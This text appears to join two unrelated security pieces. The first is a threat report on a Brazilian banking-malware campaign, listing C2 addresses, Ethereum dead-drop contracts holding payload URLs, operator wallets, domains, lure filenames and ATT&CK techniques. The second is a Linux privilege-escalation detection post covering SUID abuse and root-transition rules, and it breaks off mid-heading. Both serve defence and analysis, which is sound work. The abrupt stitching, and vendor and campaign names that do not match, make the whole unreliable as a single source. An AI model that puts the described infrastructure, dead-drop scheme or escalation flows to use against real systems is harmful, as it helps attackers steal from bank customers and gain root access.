This campaign deploys PULSAR version 2.4.5, which communicates with the following C2 endpoints: 37.16.74[.]100:443 and 37.16.74[.]34:443.

Ethereum transition campaign, May 2026: smart contract configuration and REMCOS RAT

Our Ethereum blockchain analysis, presented in the following section, shows that the first smart contracts appeared in May 2026. They initially pointed to the Cremeb infrastructure (0x902EDbFECFF38f285Bf26283fB9cEB3700061873), then to granderevolucao[.]store (0x64Def0A6099c4DE9C413B108EAae85A3C7457615), before the migration to 0xCD7360A83E5cdbBbbbcEB0e78748babA6740d07b, which remains in use at the time of writing. We found no samples associated with the first two contracts, but the on-chain data confirms that the adoption of Ethereum as a dead-drop mechanism dates back to this period.

In these newer campaigns, actors use the Ethereum blockchain as a dead drop, with smart contracts storing configuration that different components of the infection chain consume. As detailed earlier, this configuration contains URLs for the various stages and payloads. We identified two chains during this period. The first, observed in June 2026, follows the sequence JavaScript -> Node.js -> RunPE -> Installer -> Extension & REMCOS RAT. The shift from PULSAR to REMCOS RAT is particularly noteworthy. As documented in our four-part analysis series, REMCOS provides broader capabilities than PULSAR. This change may represent an upgrade as the operation matures and gains resources. The second branch is the one analyzed in detail throughout this report. It uses the legitimate signed SentinelOne binary to sideload the main malicious DLL. In this configuration, the RunPE module is unused because process injection is unnecessary: the payload already executes within a trusted, signed process, helping conceal its activity. Both branches deploy the same extension analyzed in this report: the latest version of the interception-focused variant.

REMCOS RAT communicates with the C2 endpoint 178.92.162[.]38:443.

During the same period, we identified a parallel branch using a distinct infrastructure variant. Separate actors may operate this branch using a modified version of the KREMLIN toolkit. It relies on seguranca.versionnova[.]site and comprises three distinct waves:

Wave A. ba80216c960977fa45e317f00dcf31e96acab29904a737cbc0bf86e929c3be5f First observed on VirusTotal on June 22, 2026, it downloads and executes a PowerShell script from /news/connect_api.txt.

Wave B. cb15cbf3f01a92e609e4c2bc26155e667e96c5d04770e83abba66ee07bcecea0 First observed on June 26, 2026, it adds a fake Portuguese error message and a RAM-based virtual-machine check. It retrieves its payload through /nodks/connect_api.txt/.

Wave C. 170dffb37e05f525f735bc9ad84b3908a488f7ce43fcb07739a10e4331e15a2c Active from July 3 to July 14, 2026, it resembles the main lineage by retrieving its payload through /serve.php?l= and beaconing to its C2 through /testar_nova_versao/log_receiver.php, using the header X-Log-Token: MichelleMignon171.

The descriptive Portuguese route name testar_nova_versao ("test new version") and the hard-coded token provide useful attribution clues. Combined with the campaign's focus on Brazilian institutions and its repeated use of Portuguese-language artifacts, they strongly support the hypothesis that the REF9334 operators are Brazilian. The token MichelleMignon171 also appears to reference Brazilian DJ Michelle Mignon, whom the actors may be fans of.

We identified a PowerShell reimplementation of the native extension installer 42a3e2bb135fb46b11b127f45a266b3a4d9dff4aa1cf75433f93fe69ba51a9b9. It mirrors the same functionality by downloading the extension from connection.upgradeonline[.]site, deploying it into Chromium-based browser profiles, and generating the integrity values required to activate it. Although we cannot conclusively link this script to the preceding loader, VirusTotal's relationship graph connects it to both seguranca.versionnova[.]site and connection.upgradeonline[.]site. Based on this overlap, we assess with high confidence that the JavaScript loader downloaded and executed this script.

The complete list of indicators is available in the Indicators of Compromise section.

Ethereum blockchain analysis: malicious smart contract and wallet activity

Analyzing transactions associated with the Ethereum smart contract reveals a single wallet responsible for deploying the contracts and updating the malware configuration, while also conducting several financial transactions.

The wallet was already financially active before deploying its first contract. Between June 19th 2025, and August 24th 2026, we identified 82 USDT transfers, totaling 20,778.967228 USDT received and 19,016.959182 USDT sent. Its use to deploy the malware's smart contracts suggests it is controlled by a developer or campaign operator. Although no individual transfer can be directly linked to development funding, the transaction volume makes this a valuable lead. The table below details these transfers.

Direction

Source

Destination

Transactions

Total value

First–last UTC

Incoming

0x8a711333899C173A1DC1a3523335e52Becce9A44

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

9

16,347.415674 USDT

2025-06-20–2026-08-04

Incoming

0x25a6a4fe0cc0f8ebf19836ad50fe104c3cbc9d6a

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

2

2,000.000000 USDT

2025-08-29–2025-09-09

Incoming

0x56eddb7aa87536c09ccc2793473599fd21a8b17f

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

1

1,499.000000 USDT

2025-09-15

Incoming

0xb2b7e8403b4534d43b477d4d4bd6f829437463c8

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

1

911.377633 USDT

2025-06-19

Incoming

0xdd3d72c53ff982ff59853da71158bf1538b3ceee

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

1

12.155745 USDT

2025-08-26

Incoming

0x28c6c06298d514db089934071355e5743bf21d60

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

1

9.000000 USDT

2025-09-15

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x1AD4436893850Cc1dA180b2488e764bEB9E2A379

6

6,266.906236 USDT

2025-06-20–2025-10-06

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x737A8DeA4Db63B3b24f19698AF9e5Bc6f08DE8EE

3

6,022.591408 USDT

2026-01-09–2026-08-21

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x77e2d84e79D65CE84C2dB606E984380A88F4594f

40

3,015.000000 USDT

2026-07-22–2026-08-24

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x5b3f4643d012ad6caca0a392b1a54b142b59aba5

1

1,538.461538 USDT

2025-10-15

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0xAC0a95225938E1D85C1E41e35495563eF733947a

2

1,010.000000 USDT

2025-09-10

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x81ffb6c5f72e934a79b46a867063bff5a7a222b1

2

400.000000 USDT

2025-08-26–2025-08-29

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0xd3d8d6b0e6d0f8dd3705247b54b8fe55f1c77567

3

395.000000 USDT

2026-07-14

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x7e27a030b8879cea5e92e3da650eba0098116908

9

314.000000 USDT

2026-07-15–2026-07-20

Outgoing

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x8236a0bcf102db910df27190dccc57a75e9faa8b

1

55.000000 USDT

2025-09-05

The developer deployed their first test smart contract, named UserName, on May 16, 2026. It contains boilerplate code likely used to experiment with smart contract development. The author then deployed several similar contracts and submitted multiple transactions calling the SetName method, which modifies a value stored in the contract. We extracted the following values from these transactions: Medina, Filosofo, Danone1555IBIZA.

The first malicious smart contract linked to KREMLIN's infrastructure was deployed on May 19, 2026. It is a slightly modified version of the UserName test contract used previously. This version adds two string variables, main and extension, which store the download URLs for the installer and malicious extension. Its transactions reveal the following values:

The following values were observed:

Transaction

Date (UTC)

Variable-name

Value

0x05ddd2131556d71352f5a10213fb1705b81dbd8d2f86fbe528a8a4be1de7d2e9

2026-05-19 01:38:23

admin

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0x05ddd2131556d71352f5a10213fb1705b81dbd8d2f86fbe528a8a4be1de7d2e9

2026-05-19 01:39:27

main

cremeb[.]com

0x05ddd2131556d71352f5a10213fb1705b81dbd8d2f86fbe528a8a4be1de7d2e9

2026-05-19 01:39:27

extension

cremeb[.]com

0xcc0ba092c4721c69801ece58a144a0aa668feed26da4993b1fbcbcb2e7a570f9

2026-05-19 02:53:47

main

hxxps://cremeb[.]com/kremlin?p=########-####-####-####-############&prefix=NF&prefix_count=10&output=base64

0x13b457af75e7cc0c7963b454d879800d8fdfbd3ebc9fe3ec34bd8ca8cf44701d

2026-05-19 19:21:11

main

cremeb[.]com

The second malicious smart contract was deployed on June 9, 2026. In this version, the main variable was renamed to domain. Its transactions set the following values:

Transaction

Date (UTC)

Variable-name

Value

0xb86787588fe43d9bc6a419c94450b620fa5b60918dda9b242efd05ec73d0e013

2026-06-09 20:40:59

admin

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0xb86787588fe43d9bc6a419c94450b620fa5b60918dda9b242efd05ec73d0e013

2026-06-09 20:40:59

domain

Empty string

0xb86787588fe43d9bc6a419c94450b620fa5b60918dda9b242efd05ec73d0e013

2026-06-09 20:40:59

extension

Empty string

0x1b189e5ce3dbee52106de5c1a8508091ea2acc2cbace7252763b53be01af3109

2026-06-09 20:45:11

extension

connection.timesmaluku[.]com

0x49ee0b041878c64c9253955d1de44f3832bb2b96b891cd3fd85c136bbbae0f71

2026-06-09 20:46:35

domain

granderevolucao[.]store

0x645c1701acd8a5f2c9364ac947718863ab450a706c0aabfca85376e9374ccb45

2026-06-16 04:13:59

extension

connection.upgradeonline[.]site

This is the first observed use of the connection. subdomain. In these cases, the parent domains appear to host legitimate websites that the actors compromised. Using a separate subdomain lets them host malicious infrastructure alongside the original website without disrupting it.

The next iteration of the contract, deployed on June 16, 2026, replaces the individual configuration variables with a single mapping. It exposes explicit methods for updating and querying this mapping: setConfig and getConfig.

The following values are used:

Transaction(s)

Date / time span (UTC)

Count

Variable-name

Value

0xe4f04f…1d5688

2026-06-16 22:41:23

1

admin

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0xc68881…259d3f

2026-06-16 22:48:47

1

config["main"]

granderevolucao[.]store

0x66b730…83ef4, 0x4bbe79…7a99bd, 0x94ca4a…42c6f2

2026-06-16 22:51:23 to 22:58:47

3

config["extension"]

connection.upgradeonline[.]site

0xbb017d…062e00, 0xa8e9ae…f4c87a

2026-06-16 22:56:11 to 22:56:23

2

config["steganography"]

https://archive[.]org/download/operagarnier/operagarnier.jpg

The latest contract, which remains active at the time of writing, was deployed on June 16, 2026. This version introduces main-v2, which likely corresponds to the installer that uses DLL sideloading, replaces steganography with sub-module, and adds sentinel for the legitimate SentinelOne binary. The following values were observed:

Transaction

Date (UTC)

Count

Variable-name

Value

0x012353…679a5a

2026-06-16 23:02:23

1

admin

0x5C32A09873be70a92fd8bB5A9fED7967dE06BdE6

0xf25ffb…279dbc

2026-06-16 23:04:35

1

config["main"]

granderevolucao[.]store

0x0c9278…d2f69d

2026-06-16 23:04:59

1

config["extension"]

connection.upgradeonline[.]site

0x08dece…cdb506

2026-06-16 23:05:35

1

config["steganography"]

https://archive[.]org/download/operagarnier/operagarnier.jpg

0xea0e9e…e0c65d

2026-06-26 04:17:47

1

config["steganography-stg"]

https://archive[.]org/download/operaparis/operaparis.jpg

0x7732c5…5d8515

2026-06-26 04:42:47

1

config["steganography-stg"]

https://archive[.]org/download/hotelmoskva/hotelmoskva.jpg

0x6c100f…40f2b5

2026-06-27 15:47:35

1

config["binary"]

test

0x813b6d…4108e

2026-06-27 15:56:23

1

config["binary_chunks"]

21

0x4b2512…0164d1

2026-07-07 02:19:59

1

config["main-loran"]

cremeb[.]com

0x262412…a88bb1

2026-07-22 03:08:59

1

config["sentinel"]

https://ia902901.us.archive[.]org/12/items/sentinel_20260721/Sentinel.jpg

0xae24e3…681494

2026-07-22 03:09:59

1

config["sub-module"]

https://archive[.]org/download/hotelmoskva/hotelmoskva.jpg

0x629fcd…aabac1

2026-07-22 03:27:23

1

config["sentinel"]

https://ia600804.us.archive[.]org/12/items/sentinel_20260722/Sentinel.jpg

0xae161d…8aa596

2026-07-22 04:36:47

1

config["sentinel"]

https://ia601808.us.archive[.]org/5/items/sentinel_20260722_0435/Sentinel.jpg

0x4208af…b7f293

2026-07-23 06:16:47

1

config["main-v2"]

californicationdetroit[.]com

0xb9b025…1ee5ce

2026-07-23 07:33:23

1

config["main-v2"]

granderevolucao[.]store

0xce846d…44d640

2026-07-23 07:33:59

1

config["main"]

californicationdetroit[.]com

0xe89e89…b91c24

2026-08-10 17:35:23

1

config["extension"]

volmira[.]site

0x832d82…ab2aae

2026-08-13 01:53:23

1

config["main-v2"]

zaviro[.]online

Infrastructure, victimology, and Brazilian bank targeting

Analysis of the associated domains confirms earliest activity back to June 2025. The reconstructed timeline is shown below:

Geolocation analysis of the IP addresses associated with the domains provides no additional insight into the actors' location. The addresses span multiple countries, and many domains are proxied through Cloudflare. The table below summarizes these geolocations:

Domain / IP

First Campaign / DNS Observation (UTC)

Resolved IP

Geo

codecvideowin[.]online

2025-06-17

NA

Cloudflare

185.221.23[.]133

2025-06-30

NA

Finland

version.checkeligibitily.workers[.]dev

2025-07-30

172.67.200[.]134

Cloudflare

version.checkeligibitily.workers[.]dev

2025-07-31

104.21.68[.]250

Cloudflare

version.checkeligibitily.workers[.]dev

2025-07-31

2606:4700:3035::6815[:]44fa

Cloudflare

version.checkeligibitily.workers[.]dev

2025-07-31

2606:4700:3037::ac43[:]c886

Cloudflare

affordableonline[.]online

2025-08-12

NA

NA

cheapzone[.]space

2025-08-12

NA

NA

mysterylink[.]xyz

2025-08-12

NA

NA

quirkyclub[.]club

2025-08-12

NA

NA

144.172.112[.]239

2025-08-14

NA

United States

acrobat-updater[.]com

2025-08-14

104.21.2[.]131

Cloudflare

lojinhadoluiz[.]online

2025-08-19

NA

Cloudflare

orange-sun-195a.checkeligibitily.workers[.]dev

2025-09-02

NA

Cloudflare

45.90.13[.]210

2025-09-03

NA

Netherlands

176.98.187[.]47

2025-09-12

NA

Russia

codecaudiog[.]site

2025-09-12

176.98.187[.]47

Russia

version.checkeligibitily.workers[.]dev

2025-09-13

188.114.96[.]1

Cloudflare

version.checkeligibitily.workers[.]dev

2025-09-13

188.114.97[.]1

Cloudflare

lojinhadaana[.]org

2025-11-18

176.98.187[.]47

Russia

donalurdesconfeitos[.]site

2025-12-02

NA

NA

harialurdes[.]site

2026-02-19

NA

NA

marialurdes[.]site

2026-02-23

NA

NA

45.90.13[.]77

2026-04-10

NA

Netherlands

37.16.74[.]100

2026-04-17

NA

Netherlands

find-postman.ddesdokww.workers[.]dev

2026-04-17

NA

Cloudflare

209.99.185[.]204

2026-04-30

NA

Switzerland

granderevolucao[.]store

2026-04-30

209.99.185[.]204

Switzerland

cremeb[.]com

2026-05-04

188.114.96[.]1

Cloudflare

cremeb[.]com

2026-05-04

188.114.97[.]1

Cloudflare

37.16.74[.]34

2026-05-28

NA

Netherlands

connection.timesmaluku[.]com

2026-06-09

NA

NA

connection.upgradeonline[.]site

2026-06-16

88.99.149[.]241

Germany

seguranca.versionnova[.]site

2026-06-30

188.114.96[.]0

Cloudflare

seguranca.versionnova[.]site

2026-06-30

188.114.97[.]0

Cloudflare

graph.checkeligibitily.workers[.]dev

2026-07-10

104.21.68[.]250

Cloudflare

graph.checkeligibitily.workers[.]dev

2026-07-10

172.67.200[.]134

Cloudflare

graph.checkeligibitily.workers[.]dev

2026-07-10

2606:4700:3035::6815[:]44fa

Cloudflare

graph.checkeligibitily.workers[.]dev

2026-07-10

2606:4700:3037::ac43[:]c886

Cloudflare

178.92.162[.]38

2026-07-16

NA

Brazil

californicationdetroit[.]com

2026-07-22

104.21.69[.]130

Cloudflare

californicationdetroit[.]com

2026-07-22

172.67.208[.]181

Cloudflare

volmira[.]site

2026-08-05

209.99.185[.]204

Switzerland

zaviro[.]online

2026-08-05

209.99.185[.]204

Switzerland

72.251.7[.]22

2026-08-07

NA

Canada

72.251.7[.]23

2026-08-07

NA

Canada

connection.upgradeonline[.]site

2026-08-07

72.251.7[.]22

Canada

connection.upgradeonline[.]site

2026-08-07

72.251.7[.]23

Canada

volmira[.]site

2026-08-10

88.99.149[.]241

Germany

californicationdetroit[.]com

2026-08-22

2606:4700:3033::ac43[:]d0b5

Cloudflare

californicationdetroit[.]com

2026-08-22

2606:4700:3036::6815[:]4582

Cloudflare

luizestrelhashapr[.]online

2026-08-25

216.203.21[.]40

United States

104.219.250[.]37

NA

NA

United States

172.234.24[.]211

NA

NA

United States

172.239.57[.]117

NA

NA

United States

2.59.170[.]20

NA

NA

Netherlands

Several clues suggest that the actors are Portuguese-speaking and possibly based in Brazil, matching the campaign's geographic focus. Multiple domains and files use Portuguese names, but the strongest clue comes from the QR extension: its code shows signs of LLM generation, and the generated comments are also written in Portuguese, likely reflecting the language used in the prompts.

Because Portuguese is spoken across several regions, we analyzed the Ethereum transaction timestamps for a potential geographic pattern. In UTC-3, only around ten fall within late-night hours, without extending particularly far into the early morning. Assuming the operators are more likely to work late than wake before dawn, this distribution aligns most closely with São Paulo time and supports Brazil as a plausible location for the operators.

The victim's geography is easier to establish. User-facing text and lure filenames are written in Portuguese, indicating that the campaigns target Portuguese-speaking users. Many JavaScript loaders use filenames crafted to resemble legitimate documents. Most follow the pattern <PortugueseTheme><InstitutionOrQualifier>_DD-MM-YYYY.<10Digits>.js and impersonate Brazilian banks and payment services, including Banco do Brasil, Caixa, Bradesco, Sicoob, C6 Bank, Inter, BTG, Safra, PagBank, PicPay, Santander, and Mercado Pago. Combined with the fake Portuguese error messages, this focus on Brazilian brands strongly indicates that the victims are primarily located in Brazil.

We reconstructed the following timeline showing how these naming conventions evolved:

Observed span

Portuguese template/examples

English meaning

2026-07-22–08-03

COMPROVANTE_*

Comprovante<Bank>_*

ComprovanteOriginal_*

receipt / proof of payment

2026-07-23–08-03

Extrato<Bank>_*

bank statement

2026-07-23–08-10

PIX<Bank>_*

PIX instant-payment record

2026-07-23–07-31

Pagamento<Bank>_*

payment

2026-07-23–07-31

TED<Bank>_*

TED bank transfer

2026-07-24–07-30

Transferencia<Bank>_*

bank transfer

2026-07-24–07-29

Documento<Bank>_*

bank document

2026-07-24–08-04

Recibo<Bank>_*

ReciboParticular_*

receipt / private receipt

2026-07-24–07-31

PDF_*, PdfAcesso_*

PDF / access PDF

2026-08-06–08-13

RegulamentacaoLocalizacao_*

RegulamentacaoSeguranca_*

RegulamentacaoPublico_*

location/security/public regulation

2026-08-06–08-10

DocumetoSeguranca_*

DocumetoFuncionamento_*

security/operating document

2026-08-06

CertificadoLocalizacao_*

location certificate

2026-08-07–08-10

AlvaraPublico_*

AlvaraFuncionamento_*

public/operating permit or license

Caging the canary

Threat Command researchers decided to register the network canary domain and observe how implants interacted with the previously unregistered domain. Once we registered the domain and pointed to our webhost, we were able to see infected systems checking into the network canary domain with a single GET request. 

Now that the domain can be reached, the loader assumes it is in a sandbox and crashes itself to prevent analysis; which also means their infections have not moved past the initial access.

At the time of this writing, we have observed 1,515 infected systems attempting to check into the network canary domain - 98.75% are from Brazil, confirming earlier reporting on victimology. The number of infected systems is accelerating rapidly, indicating this campaign was just beginning. 

Map showing infected hosts attempting to check into the canary domain

So while these systems are still infected with the final component of KREMLIN, this has temporarily degraded and manipulated the campaign's defense mechanisms and could provide defenders with additional time to identify and remediate infected endpoints. 

Indicators of compromise

These indicators are also available for download here.

MITRE ATT&CK tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action.

• Resource Development

• Execution

• Persistence

• Stealth

• Credential Access

• Discovery

• Collection

• Command and Control

• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Stage Capabilities: Upload Malware

• User Execution: Malicious File

• Command and Scripting Interpreter: JavaScript

• Command and Scripting Interpreter: PowerShell

• Windows Management Instrumentation

• Scheduled Task/Job: Scheduled Task

• Native API

• Software Extensions: Browser Extensions

• Process Injection

• Reflective Code Loading

• Obfuscated Files or Information: Embedded Payloads

• Obfuscated Files or Information: Encrypted/Encoded File

• Obfuscated Files or Information: Dynamic API Resolution

• Deobfuscate/Decode Files or Information

• Virtualization/Sandbox Evasion: System Checks

• Hijack Execution Flow: DLL

• Masquerading: Masquerade Task or Service

• Masquerading: Match Legitimate Resource Name or Location

• Masquerading: Masquerade File Type

• Indicator Removal: File Deletion

• Process Discovery

• File and Directory Discovery

• System Owner/User Discovery

• System Information Discovery

• Software Discovery: Security Software Discovery

• Browser Information Discovery

• Credentials from Password Stores: Credentials from Web Browsers

• Input Capture: Keylogging

• Steal Web Session Cookie

• Browser Session Hijacking

• Data from Local System

• Automated Collection

• Screen Capture

• Archive Collected Data: Archive via Library

• Ingress Tool Transfer

• Application Layer Protocol: Web Protocols

• Web Service: Dead Drop Resolver

• Encrypted Channel: Symmetric Cryptography

• Data Encoding: Standard Encoding

• Data Obfuscation: Protocol or Service Impersonation

• Exfiltration Over C2 Channel

In this edition of our "Linux Detection Engineering" series, we’ll cover:

• The default flow that a Linux LPE produces on the host and the general rules that detect it.

• The recurring LPE patterns behind the most recent LPEs and how each works, along with how each looks through the lens of Elastic Defend.

• The Elastic detection and endpoint rules that fire on each.

Over the past year, the pace of publicly disclosed Linux LPEs has picked up sharply, and the shape of those disclosures has changed with it.

For most of the last decade, escalations arrived steadily but from all over the map, including from trusted helpers like sudo, pkexec, and polkit; kernel bugs scattered across Executable and Linkable Format (ELF) loading, ptrace, eBPF, and packet sockets; and user namespaces widening what an ordinary account could reach. That variety kept the workload manageable. Each bug had its own subsystem and write-up, so reading each advisory as it landed and adding a rule for that technique worked.

Then came 2026.

Seven of the 13 disclosures that we track here share one bug class: a copy-on-write or zero-copy path that writes into data that it was supposed to copy first. Copy Fail opened in April 2026, and DirtyFrag, Fragnesia, DirtyDecrypt, and DirtyClone pushed the identical idea through ESP, RxRPC, and the socket-buffer fragment helpers within weeks. pedit COW moved it into traffic control. RefluXFS took it back to the filesystem in July 2026. Neither figure is a census, so read them as a picture of how the work changed rather than a count of every bug.

Qualys attributes RefluXFS to a research effort with Anthropic, pointing Claude Mythos Preview at the kernel's memory-management and filesystem code to hunt for a DirtyCOW-style race and then reproducing and verifying the result before disclosure. The author of OVSwrap credits a comparable large language model-assisted (LLM-assisted) workflow. Both teams kept humans on validation and disclosure, and LLMs are unlikely to be the only factor here. What the two write-ups show is the loop itself: hand a model a known bug class, ask for a new instance, repeat. When one idea can be aimed at a dozen kernel interfaces in a quarter, a detection rule written per Common Vulnerabilities and Exposures (CVE) keeps arriving late.

The good news is that most LPEs, however novel the trigger, share a single detectable flow, and beyond it, they fall into a small number of bug classes. So we detect in two layers: a general layer keyed on the flow every escalation produces (an unprivileged process becoming root), and a per-technique layer that adds signal specific to a bug class.

Setting up Elastic Defend and Auditd to detect Linux privilege escalation

To follow along and generate the telemetry shown here, enable the prebuilt rules and reproduce the techniques in a lab:

1. In Kibana, navigate to Security -> Rules -> Detection rules (SIEM), and install the Elastic prebuilt rules. Enable the Linux privilege escalation rules (by filtering on tags OS: Linux and Tactic: Privilege Escalation).

2. Deploy Elastic Defend on a Linux test host for endpoint (behavioral) coverage.

3. For syscall-level visibility, enable the Auditd Manager integration. The page-cache class, in particular, relies on socket, splice, and bind auditing, as well as execve. The Copy Fail and DirtyFrag research lists the exact auditd rules to add.

4. Reproduce each technique safely in a disposable virtual machine (VM) using the relevant public proof of concept (PoC). Treat all exploit code as lab-only, and never run it against systems that you don’t own.

All of the rules mentioned in the blog are available as a detection and/or endpoint rule. Detection rules live in Elastic’s detection-rules repository, while endpoint rules live in Elastic’s protections-artifacts repository.

The limitations of this Linux privilege escalation detection framework

This post is built around the public PoC for each vulnerability. We’re aware that a PoC can be modified: swap the targeted setuid binary, change paths, or reshape the exploit to sidestep a specific match. That’s exactly why the detection is layered and outcome-oriented rather than tied to any one implementation. The goal is a general LPE detection framework that holds up across reimplementations and covers the shared flow that every escalation produces.

We aren’t claiming to detect 100% of Linux LPEs, and certainly not an LPE custom-built to evade these detections. What we aim for is broad, durable coverage of the way that escalations actually behave on a host, with LPE technique-specific rules covering the foundations and bug class-specific rules to catch those that were missed.

How Linux privilege escalation detection works: The flow that every exploit produces

Almost every local privilege escalation, whatever the underlying bug, produces the same skeleton of activity on the host:

1. An unprivileged user (uid != 0) runs something, usually a freshly dropped or compiled binary, a script, or a shell one-liner, from a location that they can write to (for example, /tmp, /dev/shm, /var/tmp, /home, or /run/user/).

2. Moments later, a process in that lineage is running as root: a uid_change to 0, an effective uid or guid of 0, or an interactive root shell.

3. In certain PoCs, the exploit then confirms success by running whoami, id, or logname.

That "exec from a writable path and become root" skeleton is the backbone of our general detection. Because these rules key on the outcome and its immediate context rather than on any exploit-specific artifact, they cover a broad class of LPEs, including ones that we’ve never seen. They’re also what catch the page-cache family and the no-userland-tell kernel bugs, where there’s nothing implementation-specific to match.

Detecting SUID and SGID helper abuse

Setuid-root binaries and helpers are the single most common final step in a Linux LPE, because they’re the sanctioned way for an unprivileged user to run something as root, so any slip in how one of them behaves hands over that privilege. What ties the subcases together is the privilege shape: a process running with effective uid 0 while the real user (and usually the parent) is not, launched with minimal arguments from an interpreter, a shell one-liner, or a writable path. We split the coverage by how the abused binary is chosen, from the handful of helpers that appear in almost every write-up, out to the long tail and the proxying tricks that a name-based rule misses. This category maps to the Abuse Elevation Control Mechanism: Setuid and Setgid (T1548.001) technique on the MITRE ATT&CK matrix.

Detecting abuse of su, sudo, pkexec, and passwd

A short list of setuid helpers (su, sudo, pkexec, passwd) accounts for the overwhelming majority of real-world SUID abuse, whether as the finishing move of a memory-corruption exploit or a plain misconfiguration. A dedicated, tightly scoped rule for these keeps false positives near zero while covering the common case, so it’s the first thing to reach for.

Let’s begin by covering the different building blocks relevant to building a strong yet general SUID LPE detector, one by one. The following logic looks for instances where either the user or group ID is 0, while the real user/group ID is not. This is a default and benign SUID behavior and would trigger on typical sudo usage by a user.

This logic is followed by the execution of a commonly abused SUID helper with a low process argument count. This already cuts down the false positive rate drastically. For example, in a benign use case, the sudo command is generally used with additional arguments, making a sudo invocation with an argument count of 1 rare. However, just relying on these two building blocks isn’t strong enough to be a detection on its own, as this activity still happens too frequently in benign scenarios.

The euid-0 / non-root-real-user shape is paired with an interpreter, writable-path, or shell one-liner parent, which is what separates exploitation from a user legitimately typing sudo.

And it’s followed by a bunch of known legitimate exclusion activity. Combining these three building blocks makes for a strong general SUID/SGID helper LPE detection. This logic maps to Suspicious SUID/SGID Utility Execution.

Detecting uncommon SUID binaries without a name list

Not every abused SUID binary is on that short list. This variant drops the hard-coded names entirely and keys on the privilege shape plus a self-referential command line (the process was invoked as itself), which is what a freshly abused, less common setuid binary looks like on the wire. We still check beforehand to see whether we’re dealing with a SUID binary:

But this is quickly followed by the main logic differentiator between these different rules, which is displayed below:

Instead of relying on allowlisting a list of known SUID binaries, we use a clever stringcontains Event Query Language (EQL) trick. By using the stringcontains function, we can compare the process.executable to the process.command_line value (or process.name to process.command_line), effectively matching on instances where an unknown SUID binary (which we established through the user.id versus real_user.id comparison) is executed directly. The gap it fills is the long tail: because there’s no name list, there’s no blind spot for whichever setuid binary a given system happens to ship, at the cost of a broader exclusion list for legitimate helpers.

We follow this rule with an exclusion of known SUID helpers, to minimize coverage overlap with the previous (and other) rules. This maps to Potential Privilege Escalation via a SUID/SGID Binary.

Detecting SUID helper proxy execution via process arguments

Some abuse doesn’t run the helper as the process itself; it hands the helper as an argument to another privileged binary, proxying the execution so a name-based rule sees the wrong thing. The tell is a process whose command line starts with its own executable, a single-argument parent, and a known setuid helper path sitting in the arguments.

The proxy execution rule differs from the two rules above by looking at the helper in process.args rather than process.name, so it catches the proxying pattern (binfmt_misc style and similar) that name-based matching would miss entirely. Although not exhaustive, the argument list does target the most commonly available SUID helpers on a default Linux system. This maps to Potential Privilege Escalation via SUID/SGID Proxy Execution.

Further SUID and SGID privilege escalation rules

We didn’t get into every SUID-based LPE rule that we created to cover this attack vector. We encourage anyone interested in digging deeper to take a look at our other public rules related to SUID/SGID LPE, which can be found here:

• Suspicious SUID Binary Execution (and its Auditd variation)

• Privilege Escalation via SUID/SGID

• Potential Privilege Escalation via SUID/SGID

• Suspicious SUID/SGID Utility Execution

• Potential Privilege Escalation via SUID/SGID Proxy Execution (and its Elastic Defend counterpart)

• Potential Privilege Escalation via a Known SUID/SGID Binary

• Potential Privilege Escalation via a SUID/SGID Binary

Self-elevation: Exec from a writable path and then a UID change to root

Many kernel and logic exploits never touch a helper; the exploit process, or something in its lineage, simply becomes root. The observable is always the same pair: a non-root process execs from a writable path (/tmp, /dev/shm, /var/tmp, /home/*, /run/user/*), and shortly after, a process in that lineage emits a uid_change to 0. The subcases differ only in how tightly we can tie the exec to the elevation and in whether the exploit politely confirms its own success.

Detecting exec and then elevating by correlating on the parent process

The most general form correlates the two events by their shared parent: a non-root, interactive exec from a writable path, followed by a uid_change to 0 under the same parent, within a short window.

It needs no recon command and no known binary, just the exec-then-elevate pair from a world-writable location, so it fires on self-elevating exploits that give nothing else away. Given that this activity is also known to fire on false positives (edge cases where benign precompiled binaries in /tmp or /home directories elevate), this rule requires slightly more tuning to fit in well with your environment. For static server environments, the rule should generally be plug and play. This maps to Potential Privilege Escalation via a Parent Process Sequence.

Using descendant-of to catch root transitions several processes deep

The root transition doesn’t always land in the immediate child. When a web server or interpreter running as a service account spawns a chain that ends in an interactive root process several hops down, a direct parent/child correlation breaks. To combat this, we added another layer, using the descendant of functionality.

In this query, we target interactive executions where the user.id is 0, while the parent user is a nonsystem user (uid >= 1000). 

The interactive-root match is then followed by descendant of logic, where the descendant is an executable launched from a world-/user-writable location.

Using descendant of instead of a fixed parent link accommodates any depth of intermediate processes, and folding in service accounts (uid >= 1000, or www-data, nginx, tomcat) covers the web-shell-to-root path that the sequence rules can miss. This maps to Potential Local Privilege Escalation via a Suspicious Descendant Process.

Detecting the exec, elevate, and confirm sequence

When the exploit verifies its own success (the near-universal habit of running id, whoami, or logname right after getting root), we can require all three stages: the writable-path exec, the uid_change to 0, and then the privilege check as root.

The confirm stage is what makes this the lowest-false-positive, highest-true-positive signal of the group for public PoCs, which frequently check their work, so it’s the rule to lead an investigation with. This maps to General Privilege Escalation Sequence Detected.

Detecting a Python interpreter escalating to root

